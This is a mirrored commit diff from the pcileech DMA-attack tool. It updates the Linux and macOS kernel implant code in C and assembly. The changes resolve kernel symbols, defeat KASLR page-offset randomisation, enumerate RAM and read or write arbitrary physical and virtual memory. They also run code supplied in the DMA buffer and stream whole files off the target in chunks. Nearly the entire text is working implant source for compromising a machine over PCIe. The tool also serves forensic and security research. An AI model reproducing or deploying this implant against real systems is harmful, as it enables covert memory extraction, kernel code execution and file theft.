mirror of
https://github.com/ufrisk/pcileech.git
synced 2026-06-20 21:56:25 +08:00
Version 1.3
This commit is contained in:
@@ -4,5 +4,39 @@
|
||||
// (c) Ulf Frisk, 2016
|
||||
// Author: Ulf Frisk, pcileech@frizk.net
|
||||
//
|
||||
#include "lx64_common.h"
|
||||
|
||||
BOOL _WriteLargeOutput_WaitForAck(PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
while((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {
|
||||
SysVCall((QWORD)pk->fn[0] /* msleep */, 25);
|
||||
}
|
||||
return (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;
|
||||
}
|
||||
|
||||
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
pos->magic = EXEC_IO_MAGIC;
|
||||
CacheFlush();
|
||||
pos->bin.seq++;
|
||||
pk->_op = KMD_CMD_EXEC_EXTENDED;
|
||||
return _WriteLargeOutput_WaitForAck(pk);
|
||||
}
|
||||
|
||||
VOID WriteLargeOutput_Finish(PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
WriteLargeOutput_WaitNext(pk);
|
||||
pk->dataOutExtraLength = 0;
|
||||
CacheFlush();
|
||||
pos->bin.fCompleted = TRUE;
|
||||
pos->bin.seq++;
|
||||
_WriteLargeOutput_WaitForAck(pk);
|
||||
pk->_op = KMD_CMD_EXEC;
|
||||
}
|
||||
|
||||
|
||||
#include "lx64_common.h"
|
||||
@@ -27,6 +27,7 @@ extern QWORD SysVCall(QWORD fn, ...);
|
||||
extern BOOL LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD pqwNameTable, QWORD pqwFnTable, QWORD cFunctions);
|
||||
extern QWORD m_phys_to_virt(QWORD p1);
|
||||
extern QWORD m_page_to_phys(QWORD p1);
|
||||
extern VOID CacheFlush();
|
||||
|
||||
/*
|
||||
* KMD DATA struct. This struct must be contained in a 4096 byte section (page)
|
||||
@@ -67,4 +68,42 @@ typedef struct tdKMDDATA {
|
||||
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
|
||||
} KMDDATA, *PKMDDATA;
|
||||
|
||||
#define EXEC_IO_MAGIC 0x12651232dfef9521
|
||||
#define EXEC_IO_CONSOLE_BUFFER_SIZE 0x800
|
||||
#define EXEC_IO_DMAOFFSET_IS 0x80000
|
||||
#define EXEC_IO_DMAOFFSET_OS 0x81000
|
||||
typedef struct tdEXEC_IO {
|
||||
QWORD magic;
|
||||
struct {
|
||||
QWORD cbRead;
|
||||
QWORD cbReadAck;
|
||||
QWORD Reserved[10];
|
||||
BYTE pb[800];
|
||||
} con;
|
||||
struct {
|
||||
QWORD seq;
|
||||
QWORD seqAck;
|
||||
QWORD fCompleted;
|
||||
QWORD fCompletedAck;
|
||||
} bin;
|
||||
QWORD Reserved[395];
|
||||
} EXEC_IO, *PEXEC_IO;
|
||||
|
||||
/*
|
||||
* If a large output is to be written to PCILeech which won't fit in the DMA
|
||||
* buffer - write as much as possible in the DMA buffer and then call this fn.
|
||||
* When returned successfully write another chunk to this buffer and call again.
|
||||
* WriteLargeOutput_Finish must be called after all data is written to clean up.
|
||||
* -- pk
|
||||
* -- return
|
||||
*/
|
||||
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk);
|
||||
|
||||
/*
|
||||
* Clean up function that must be called if WriteLargeOutput_WaitNext has
|
||||
* previously been called.
|
||||
* -- pk
|
||||
*/
|
||||
VOID WriteLargeOutput_Finish(PKMDDATA pk);
|
||||
|
||||
#endif /* __LX64_COMMON_H__ */
|
||||
@@ -133,4 +133,12 @@ m_page_to_phys PROC
|
||||
RET
|
||||
m_page_to_phys ENDP
|
||||
|
||||
; ----------------------------------------------------
|
||||
; Flush the CPU cache.
|
||||
; ----------------------------------------------------
|
||||
CacheFlush PROC
|
||||
WBINVD
|
||||
RET
|
||||
CacheFlush ENDP
|
||||
|
||||
END
|
||||
@@ -39,6 +39,7 @@ VOID c_EntryPoint(PKMDDATA pk)
|
||||
{
|
||||
FN2 fn2;
|
||||
QWORD hFile, qwOffset = 0;
|
||||
BOOL isModeLargeTransfer = FALSE;
|
||||
if(!LookupFunctions2(pk, &fn2)) {
|
||||
pk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;
|
||||
return;
|
||||
@@ -49,10 +50,21 @@ VOID c_EntryPoint(PKMDDATA pk)
|
||||
pk->dataOut[0] = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
return;
|
||||
}
|
||||
pk->dataOutExtraLength = SysVCall(fn2.vfs_read, hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &qwOffset);
|
||||
if(pk->dataOutExtraLength >= pk->dataOutExtraLengthMax) {
|
||||
pk->dataOut[0] = STATUS_FAIL_FILE_SIZE;
|
||||
pk->dataOutExtraLength = 0;
|
||||
while(TRUE) {
|
||||
pk->dataOutExtraLength = SysVCall(fn2.vfs_read, hFile, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax, &qwOffset);
|
||||
if(pk->dataOutExtraLength < pk->dataOutExtraLengthMax) {
|
||||
break;
|
||||
}
|
||||
isModeLargeTransfer = TRUE;
|
||||
if(!WriteLargeOutput_WaitNext(pk)) {
|
||||
pk->dataOutExtraLength = 0;
|
||||
pk->dataOut[0] = STATUS_FAIL_PCILEECH_CORE;
|
||||
SysVCall(fn2.filp_close, hFile, NULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if(isModeLargeTransfer) {
|
||||
WriteLargeOutput_Finish(pk);
|
||||
}
|
||||
SysVCall(fn2.filp_close, hFile, NULL);
|
||||
}
|
||||
@@ -186,8 +186,27 @@ setup PROC
|
||||
RET
|
||||
setup ENDP
|
||||
|
||||
m_phys_to_virt PROC
|
||||
; ------------------------------------------------------------------
|
||||
; Retrieve the PAGE_OFFSET_BASE
|
||||
; r14 -> kallsyms_lookup_name
|
||||
; rax <- value of PAGE_OFFSET_BASE
|
||||
; ------------------------------------------------------------------
|
||||
m_page_offset_base PROC
|
||||
LEA rdi, str_page_offset_base
|
||||
CALL r14
|
||||
TEST rax, rax
|
||||
JZ kaslr_pg_disable
|
||||
MOV rax, [rax]
|
||||
RET
|
||||
kaslr_pg_disable:
|
||||
MOV rax, 0ffff880000000000h
|
||||
RET
|
||||
m_page_offset_base ENDP
|
||||
|
||||
m_phys_to_virt PROC
|
||||
PUSH rdi
|
||||
CALL m_page_offset_base
|
||||
POP rdi
|
||||
ADD rax, rdi
|
||||
RET
|
||||
m_phys_to_virt ENDP
|
||||
@@ -208,10 +227,9 @@ m_page_to_phys ENDP
|
||||
; ----------------------------------------------------
|
||||
clear_8k PROC
|
||||
XOR rax, rax
|
||||
MOV rcx, 1024
|
||||
loop_8k:
|
||||
MOV [rdi+8*rcx-8], rax
|
||||
LOOP loop_8k
|
||||
MOV ecx, 1024
|
||||
CLD
|
||||
REP STOSQ [rdi]
|
||||
RET
|
||||
clear_8k ENDP
|
||||
|
||||
@@ -242,6 +260,7 @@ str_kthread_create_on_node db 'kthread_create_on_node', 0
|
||||
str_alloc_pages_current db 'alloc_pages_current', 0
|
||||
str_set_memory_x db 'set_memory_x', 0
|
||||
str_wake_up_process db 'wake_up_process', 0
|
||||
str_page_offset_base db 'page_offset_base', 0
|
||||
str_pcileech db 'pcileech', 0
|
||||
|
||||
END
|
||||
|
||||
@@ -60,12 +60,10 @@ LookupFunctions PROC
|
||||
PUSH r13
|
||||
MOV r15, rcx ; address of kallsyms_lookup_name
|
||||
MOV r14, rdx ; ptr to FNLX struct
|
||||
MOV r13, 9*8 ; num functions * 8
|
||||
MOV r13, 10*8 ; num functions * 8
|
||||
; ----------------------------------------------------
|
||||
; 1: PUSH FUNCTION NAME POINTERS ON STACK
|
||||
; ----------------------------------------------------
|
||||
LEA rax, str_kallsyms_lookup_name
|
||||
PUSH rax
|
||||
LEA rax, str_msleep
|
||||
PUSH rax
|
||||
LEA rax, str_alloc_pages_current
|
||||
@@ -80,7 +78,11 @@ LookupFunctions PROC
|
||||
PUSH rax
|
||||
LEA rax, str_do_gettimeofday
|
||||
PUSH rax
|
||||
LEA rax, str_iomem_open
|
||||
LEA rax, str_walk_system_ram_range
|
||||
PUSH rax
|
||||
LEA rax, str_iounmap
|
||||
PUSH rax
|
||||
LEA rax, str_ioremap_nocache
|
||||
PUSH rax
|
||||
; ----------------------------------------------------
|
||||
; 2: LOOKUP FUNCTION POINTERS BY NAME
|
||||
@@ -108,14 +110,16 @@ LookupFunctions PROC
|
||||
RET
|
||||
LookupFunctions ENDP
|
||||
|
||||
str_kallsyms_lookup_name db 'kallsyms_lookup_name', 0
|
||||
str_alloc_pages_current db 'alloc_pages_current', 0
|
||||
str_set_memory_x db 'set_memory_x', 0
|
||||
str__free_pages db '__free_pages', 0
|
||||
str_memcpy db 'memcpy', 0
|
||||
str_schedule db 'schedule', 0
|
||||
str_do_gettimeofday db 'do_gettimeofday', 0
|
||||
str_iomem_open db 'iomem_open', 0
|
||||
str_page_offset_base db 'page_offset_base', 0
|
||||
str_walk_system_ram_range db 'walk_system_ram_range', 0
|
||||
str_iounmap db 'iounmap', 0
|
||||
str_ioremap_nocache db 'ioremap_nocache', 0
|
||||
|
||||
; ------------------------------------------------------------------
|
||||
; Convert from the Windows X64 calling convention to the SystemV
|
||||
@@ -149,13 +153,43 @@ SysVCall PROC
|
||||
RET
|
||||
SysVCall ENDP
|
||||
|
||||
; ------------------------------------------------------------------
|
||||
; Retrieve the PAGE_OFFSET_BASE
|
||||
; Function uses Linux calling convention.
|
||||
; rdi -> addr of kallsysms_lookup_name
|
||||
; rax <- value of PAGE_OFFSET_BASE
|
||||
; ------------------------------------------------------------------
|
||||
m_page_offset_base PROC
|
||||
MOV rax, rdi
|
||||
LEA rdi, str_page_offset_base
|
||||
CALL rax
|
||||
TEST rax, rax
|
||||
JZ kaslr_pg_disable
|
||||
MOV rax, [rax]
|
||||
RET
|
||||
kaslr_pg_disable:
|
||||
MOV rax, 0ffff880000000000h
|
||||
RET
|
||||
m_page_offset_base ENDP
|
||||
|
||||
; ------------------------------------------------------------------
|
||||
; Convert a physical address to a virtual address (Linux)
|
||||
; Function uses Windows calling convention (rcx = 1st param)
|
||||
; rcx -> addr of kallsysms_lookup_name
|
||||
; rdx -> physical_address
|
||||
; rax <- virtual_address
|
||||
; ------------------------------------------------------------------
|
||||
m_phys_to_virt PROC
|
||||
MOV rax, 0ffff880000000000h
|
||||
ADD rax, rcx
|
||||
PUSH rdi
|
||||
PUSH rsi
|
||||
PUSH r15
|
||||
MOV rdi, rcx
|
||||
MOV r15, rdx
|
||||
CALL m_page_offset_base
|
||||
ADD rax, r15
|
||||
POP r15
|
||||
POP rsi
|
||||
POP rdi
|
||||
RET
|
||||
m_phys_to_virt ENDP
|
||||
|
||||
@@ -172,4 +206,60 @@ m_page_to_phys PROC
|
||||
RET
|
||||
m_page_to_phys ENDP
|
||||
|
||||
; ------------------------------------------------------------------
|
||||
; Receives callback from walk_system_ram_range for each range.
|
||||
; rdi -> pfn_start
|
||||
; rsi -> pfn_size
|
||||
; rdx -> PKMDDATA
|
||||
; rax <- 0
|
||||
; ------------------------------------------------------------------
|
||||
callback_walk_system_ram_range PROC
|
||||
SHL rdi, 12 ; convert to bytes
|
||||
SHL rsi, 12 ; convert to bytes
|
||||
MOV rax, [rdx + 028h] ; PKMDDATA->DMAAddrVirtual
|
||||
MOV rcx, [rdx + 048h] ; PKMDDATA->_size
|
||||
ADD rax, rcx
|
||||
MOV [rax], rdi
|
||||
MOV [rax+8], rsi
|
||||
ADD rcx, 10h
|
||||
MOV [rdx + 048h], rcx ; PKMDDATA->_size
|
||||
XOR rax, rax
|
||||
RET
|
||||
callback_walk_system_ram_range ENDP
|
||||
|
||||
; ------------------------------------------------------------------
|
||||
; Receives callback from walk_system_ram_range before a memcpy is
|
||||
; attempted. Validate if whole range is within range
|
||||
; rdi -> pfn_start (mem_range)
|
||||
; rsi -> pfn_size (mem_range)
|
||||
; rdx -> PKMDDATA
|
||||
; rax <- 0 (if all in range), 1 (out of range)
|
||||
; ------------------------------------------------------------------
|
||||
callback_ismemread_inrange PROC
|
||||
SHL rdi, 12 ; convert to bytes (mem_range_base)
|
||||
SHL rsi, 12 ; convert to bytes (mem_range_size)
|
||||
MOV r8, [rdx + 040h] ; PKMDDATA->_address (req_base)
|
||||
MOV r9, [rdx + 048h] ; PKMDDATA->_size (req_size)
|
||||
ADD rsi, rdi ; range (mem_range_top)
|
||||
ADD r9, r8 ; read (req_top)
|
||||
CMP r8, rdi ; req_base < mem_range_base -> out of range
|
||||
JL out_of_range
|
||||
CMP r9, rsi
|
||||
JG out_of_range ; req_top > mem_range_top -> out of range
|
||||
XOR rax, rax
|
||||
RET
|
||||
out_of_range:
|
||||
XOR rax, rax
|
||||
INC rax
|
||||
RET
|
||||
callback_ismemread_inrange ENDP
|
||||
|
||||
; ----------------------------------------------------
|
||||
; Flush the CPU cache.
|
||||
; ----------------------------------------------------
|
||||
CacheFlush PROC
|
||||
WBINVD
|
||||
RET
|
||||
CacheFlush ENDP
|
||||
|
||||
END
|
||||
|
||||
@@ -19,8 +19,11 @@ typedef void *HANDLE;
|
||||
|
||||
extern QWORD SysVCall(QWORD fn, ...);
|
||||
extern QWORD LookupFunctions(QWORD qwAddr_KallsymsLookupName, QWORD qwAddr_FNLX);
|
||||
extern QWORD m_phys_to_virt(QWORD p1);
|
||||
extern QWORD m_phys_to_virt(QWORD qwAddr_KallsymsLookupName, QWORD pa);
|
||||
extern QWORD m_page_to_phys(QWORD p1);
|
||||
extern VOID callback_walk_system_ram_range();
|
||||
extern VOID callback_ismemread_inrange();
|
||||
extern VOID CacheFlush();
|
||||
|
||||
typedef struct _PHYSICAL_MEMORY_RANGE {
|
||||
QWORD BaseAddress;
|
||||
@@ -32,16 +35,7 @@ typedef struct _TIMEVAL {
|
||||
QWORD tv_usec;
|
||||
} TIMEVAL, *PTIMEVAL;
|
||||
|
||||
typedef struct _RESOURCE {
|
||||
QWORD start;
|
||||
QWORD end;
|
||||
const char *name;
|
||||
QWORD flags;
|
||||
QWORD parent, sibling, child;
|
||||
} RESOURCE, *PRESOURCE;
|
||||
|
||||
typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main control program)
|
||||
QWORD kallsyms_lookup_name;
|
||||
QWORD msleep;
|
||||
QWORD alloc_pages_current;
|
||||
QWORD set_memory_x;
|
||||
@@ -49,8 +43,10 @@ typedef struct tdFNLX { // VOID definitions for LINUX functions (used in main co
|
||||
QWORD memcpy;
|
||||
QWORD schedule;
|
||||
QWORD do_gettimeofday;
|
||||
QWORD iomem_open;
|
||||
QWORD ReservedFutureUse[23];
|
||||
QWORD walk_system_ram_range;
|
||||
QWORD iounmap;
|
||||
QWORD ioremap_nocache;
|
||||
QWORD ReservedFutureUse[22];
|
||||
} FNLX, *PFNLX;
|
||||
|
||||
#define KMDDATA_OPERATING_SYSTEM_LINUX 0x02
|
||||
@@ -104,49 +100,6 @@ typedef struct tdKMDDATA {
|
||||
#define KMD_CMD_READ_VA 6
|
||||
#define KMD_CMD_WRITE_VA 7
|
||||
|
||||
/*
|
||||
* Retrieve system memory ranges from the iomem_resource structure.
|
||||
*/
|
||||
BOOL SetMemoryRanges(PKMDDATA pk)
|
||||
{
|
||||
PPHYSICAL_MEMORY_RANGE pmr;
|
||||
PRESOURCE r;
|
||||
QWORD i = 0;
|
||||
// 0: find iomem_resource structure by pattern search of function binary
|
||||
while(*(PDWORD)(pk->fn.iomem_open + i) != 0x8082c748) {
|
||||
if(++i > 0x40) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
r = (PRESOURCE)(0xffffffff00000000 + *(PDWORD)(pk->fn.iomem_open + i + 7));
|
||||
// 1: move to child and set up info
|
||||
if(!r->child) {
|
||||
return FALSE;
|
||||
}
|
||||
r = (PRESOURCE)r->child;
|
||||
pmr = (PPHYSICAL_MEMORY_RANGE)pk->DMAAddrVirtual;
|
||||
i = 0;
|
||||
while(r) {
|
||||
if(*(PQWORD)r->name == 0x52206d6574737953) { // 0x52206d6574737953 == "System R" [first 8 chars of "System RAM"
|
||||
// found!
|
||||
if(i && (r->start == pmr[i - 1].BaseAddress + pmr[i - 1].NumberOfBytes)) {
|
||||
// merge
|
||||
i--;
|
||||
pmr[i].NumberOfBytes += r->end + 1 - r->start;
|
||||
} else {
|
||||
// new
|
||||
pmr[i].BaseAddress = r->start;
|
||||
pmr[i].NumberOfBytes = r->end + 1 - r->start;
|
||||
}
|
||||
pmr[i].NumberOfBytes &= ~0xfff;
|
||||
i++;
|
||||
}
|
||||
r = (PRESOURCE)r->sibling;
|
||||
}
|
||||
pk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// status:
|
||||
// 1: ready for command
|
||||
// 2: processing
|
||||
@@ -162,7 +115,7 @@ BOOL SetMemoryRanges(PKMDDATA pk)
|
||||
// size of memory operation
|
||||
VOID stage3_c_EntryPoint(PKMDDATA pk)
|
||||
{
|
||||
QWORD pStructPages, qwBufferOutDMA, qwMM;
|
||||
QWORD pStructPages, qwMM, qw;
|
||||
TIMEVAL timeLast, timeCurrent;
|
||||
// 0: set up symbols and kmd data
|
||||
pk->MAGIC = 0x0ff11337711333377;
|
||||
@@ -178,9 +131,9 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
|
||||
return;
|
||||
}
|
||||
pk->DMAAddrPhysical = m_page_to_phys(pStructPages);
|
||||
pk->DMAAddrVirtual = qwBufferOutDMA = m_phys_to_virt(pk->DMAAddrPhysical);
|
||||
pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical);
|
||||
pk->DMASizeBuffer = 0x400000;
|
||||
SysVCall(pk->fn.set_memory_x, qwBufferOutDMA, 1024);
|
||||
SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, 1024);
|
||||
// 2: main dump loop
|
||||
SysVCall(pk->fn.do_gettimeofday, &timeLast);
|
||||
while(TRUE) {
|
||||
@@ -205,26 +158,48 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
|
||||
return;
|
||||
}
|
||||
if(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)
|
||||
pk->_result = SetMemoryRanges(pk);
|
||||
if(pk->fn.walk_system_ram_range) {
|
||||
pk->_size = 0;
|
||||
pk->_result = (0 == SysVCall(pk->fn.walk_system_ram_range, 0, ~0UL, pk, callback_walk_system_ram_range));
|
||||
} else {
|
||||
pk->_result = FALSE;
|
||||
}
|
||||
CacheFlush();
|
||||
}
|
||||
if(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer
|
||||
((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))qwBufferOutDMA)(pk, pk->dataIn, pk->dataOut);
|
||||
((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut);
|
||||
pk->_result = TRUE;
|
||||
}
|
||||
if(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE
|
||||
qwMM = m_phys_to_virt(pk->_address);
|
||||
if(KMD_CMD_READ == pk->_op) { // READ
|
||||
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, qwMM, pk->_size);
|
||||
} else { // WRITE
|
||||
SysVCall(pk->fn.memcpy, qwMM, pk->DMAAddrVirtual, pk->_size);
|
||||
// qw :: 0 [all in range], 1 [some in range], 0xffffffff [none in range]
|
||||
qw = SysVCall(pk->fn.walk_system_ram_range, pk->_address >> 12, pk->_size >> 12, pk, callback_ismemread_inrange);
|
||||
if(qw == 1) {
|
||||
pk->_result = FALSE;
|
||||
} else {
|
||||
qwMM = (qw == 0) ?
|
||||
m_phys_to_virt(pk->AddrKallsymsLookupName, pk->_address) :
|
||||
SysVCall(pk->fn.ioremap_nocache, pk->_address, pk->_size);
|
||||
if(qwMM) {
|
||||
if(KMD_CMD_READ == pk->_op) { // READ
|
||||
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, qwMM, pk->_size);
|
||||
} else { // WRITE
|
||||
SysVCall(pk->fn.memcpy, qwMM, pk->DMAAddrVirtual, pk->_size);
|
||||
}
|
||||
if(qw) {
|
||||
SysVCall(pk->fn.iounmap, qwMM);
|
||||
}
|
||||
pk->_result = TRUE;
|
||||
} else {
|
||||
pk->_result = FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address
|
||||
SysVCall(pk->fn.memcpy, qwBufferOutDMA, pk->_address, pk->_size);
|
||||
SysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, pk->_address, pk->_size);
|
||||
pk->_result = TRUE;
|
||||
}
|
||||
if(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address
|
||||
SysVCall(pk->fn.memcpy, pk->_address, qwBufferOutDMA, pk->_size);
|
||||
SysVCall(pk->fn.memcpy, pk->_address, pk->DMAAddrVirtual, pk->_size);
|
||||
pk->_result = TRUE;
|
||||
}
|
||||
pk->_op = KMD_CMD_COMPLETED;
|
||||
|
||||
@@ -112,4 +112,37 @@ QWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges)
|
||||
PPHYSICAL_MEMORY_RANGE pMemMap = (PPHYSICAL_MEMORY_RANGE)pbMemoryRanges;
|
||||
QWORD cMemMap = cbMemoryRanges / sizeof(PHYSICAL_MEMORY_RANGE);
|
||||
return pMemMap[cMemMap - 1].BaseAddress + pMemMap[cMemMap - 1].NumberOfBytes;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
BOOL _WriteLargeOutput_WaitForAck(PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pis = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_IS);
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
while((pk->_op == KMD_CMD_EXEC_EXTENDED) && ((pis->magic != EXEC_IO_MAGIC) || (!pis->bin.fCompletedAck && (pis->bin.seqAck != pos->bin.seq)))) {
|
||||
SysVCall(pk->fn.IOSleep, 25);
|
||||
}
|
||||
return (pk->_op == KMD_CMD_EXEC_EXTENDED) && !pis->bin.fCompletedAck;
|
||||
}
|
||||
|
||||
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
pos->magic = EXEC_IO_MAGIC;
|
||||
CacheFlush();
|
||||
pos->bin.seq++;
|
||||
pk->_op = KMD_CMD_EXEC_EXTENDED;
|
||||
return _WriteLargeOutput_WaitForAck(pk);
|
||||
}
|
||||
|
||||
VOID WriteLargeOutput_Finish(PKMDDATA pk)
|
||||
{
|
||||
PEXEC_IO pos = (PEXEC_IO)(pk->DMAAddrVirtual + EXEC_IO_DMAOFFSET_OS);
|
||||
WriteLargeOutput_WaitNext(pk);
|
||||
pk->dataOutExtraLength = 0;
|
||||
CacheFlush();
|
||||
pos->bin.fCompleted = TRUE;
|
||||
pos->bin.seq++;
|
||||
_WriteLargeOutput_WaitForAck(pk);
|
||||
pk->_op = KMD_CMD_EXEC;
|
||||
}
|
||||
|
||||
@@ -30,6 +30,7 @@ extern QWORD SysVCall(QWORD fn, ...);
|
||||
extern QWORD LookupFunctionMacOS(QWORD qwAddrKernelBase, CHAR szFunctionName[]);
|
||||
extern VOID PageFlush();
|
||||
extern QWORD GetCR3();
|
||||
extern VOID CacheFlush();
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// General definitions below.
|
||||
@@ -97,6 +98,27 @@ typedef struct tdKMDDATA {
|
||||
QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page)
|
||||
} KMDDATA, *PKMDDATA;
|
||||
|
||||
#define EXEC_IO_MAGIC 0x12651232dfef9521
|
||||
#define EXEC_IO_CONSOLE_BUFFER_SIZE 0x800
|
||||
#define EXEC_IO_DMAOFFSET_IS 0x80000
|
||||
#define EXEC_IO_DMAOFFSET_OS 0x81000
|
||||
typedef struct tdEXEC_IO {
|
||||
QWORD magic;
|
||||
struct {
|
||||
QWORD cbRead;
|
||||
QWORD cbReadAck;
|
||||
QWORD Reserved[10];
|
||||
BYTE pb[800];
|
||||
} con;
|
||||
struct {
|
||||
QWORD seq;
|
||||
QWORD seqAck;
|
||||
QWORD fCompleted;
|
||||
QWORD fCompletedAck;
|
||||
} bin;
|
||||
QWORD Reserved[395];
|
||||
} EXEC_IO, *PEXEC_IO;
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// Function definitions below.
|
||||
//-------------------------------------------------------------------------------
|
||||
@@ -140,4 +162,21 @@ QWORD MapMemoryPhysical(PKMDDATA pk, QWORD qwMemoryBase);
|
||||
*/
|
||||
QWORD GetMemoryPhysicalMaxAddress(PBYTE pbMemoryRanges, QWORD cbMemoryRanges);
|
||||
|
||||
/*
|
||||
* If a large output is to be written to PCILeech which won't fit in the DMA
|
||||
* buffer - write as much as possible in the DMA buffer and then call this fn.
|
||||
* When returned successfully write another chunk to this buffer and call again.
|
||||
* WriteLargeOutput_Finish must be called after all data is written to clean up.
|
||||
* -- pk
|
||||
* -- return
|
||||
*/
|
||||
BOOL WriteLargeOutput_WaitNext(PKMDDATA pk);
|
||||
|
||||
/*
|
||||
* Clean up function that must be called if WriteLargeOutput_WaitNext has
|
||||
* previously been called.
|
||||
* -- pk
|
||||
*/
|
||||
VOID WriteLargeOutput_Finish(PKMDDATA pk);
|
||||
|
||||
#endif /* __MACOS_COMMON_H__ */
|
||||
@@ -231,4 +231,12 @@ SysVCall PROC
|
||||
RET
|
||||
SysVCall ENDP
|
||||
|
||||
; ----------------------------------------------------
|
||||
; Flush the CPU cache.
|
||||
; ----------------------------------------------------
|
||||
CacheFlush PROC
|
||||
WBINVD
|
||||
RET
|
||||
CacheFlush ENDP
|
||||
|
||||
END
|
||||
@@ -46,7 +46,8 @@ VOID c_EntryPoint(PKMDDATA pk)
|
||||
{
|
||||
FN2 fn2;
|
||||
DWORD status = 0;
|
||||
QWORD uio = 0, vnode = 0, vfs_current;
|
||||
BOOL isModeLargeTransfer = FALSE;
|
||||
QWORD uio = 0, vnode = 0, vfs_current, cbOffset = 0;
|
||||
if(!pk->dataInStr[0]) {
|
||||
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
|
||||
return;
|
||||
@@ -61,19 +62,32 @@ VOID c_EntryPoint(PKMDDATA pk)
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto error;
|
||||
}
|
||||
uio = SysVCall(fn2.uio_create, 1 /* count iov */, 0 /* offset */, 2 /* kernel addr */, 0 /* read */);
|
||||
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto error;
|
||||
while(TRUE) {
|
||||
uio = SysVCall(fn2.uio_create, 1 /* count iov */, cbOffset /* offset */, 2 /* kernel addr */, 0 /* read */);
|
||||
if(SysVCall(fn2.uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto error;
|
||||
}
|
||||
if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto error;
|
||||
}
|
||||
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio);
|
||||
if(uio) {
|
||||
SysVCall(fn2.uio_free, uio);
|
||||
uio = 0;
|
||||
}
|
||||
if(pk->dataOutExtraLength != pk->dataOutExtraLengthMax) { break; }
|
||||
isModeLargeTransfer = TRUE;
|
||||
cbOffset += pk->dataOutExtraLength;
|
||||
if(!WriteLargeOutput_WaitNext(pk)) {
|
||||
pk->dataOutExtraLength = 0;
|
||||
status = STATUS_FAIL_PCILEECH_CORE;
|
||||
goto error;
|
||||
}
|
||||
}
|
||||
if(SysVCall(fn2.VNOP_READ, vnode, uio, 0, vfs_current)) {
|
||||
status = STATUS_FAIL_FILE_CANNOT_OPEN;
|
||||
goto error;
|
||||
}
|
||||
pk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(fn2.uio_resid, uio);
|
||||
if(pk->dataOutExtraLength == pk->dataOutExtraLengthMax) {
|
||||
status = STATUS_FAIL_FILE_SIZE;
|
||||
goto error;
|
||||
if(isModeLargeTransfer) {
|
||||
WriteLargeOutput_Finish(pk);
|
||||
}
|
||||
error:
|
||||
if(uio) {
|
||||
|
||||
@@ -15,5 +15,17 @@
|
||||
#define STATUS_FAIL_OUTOFMEMORY 0xf0000007
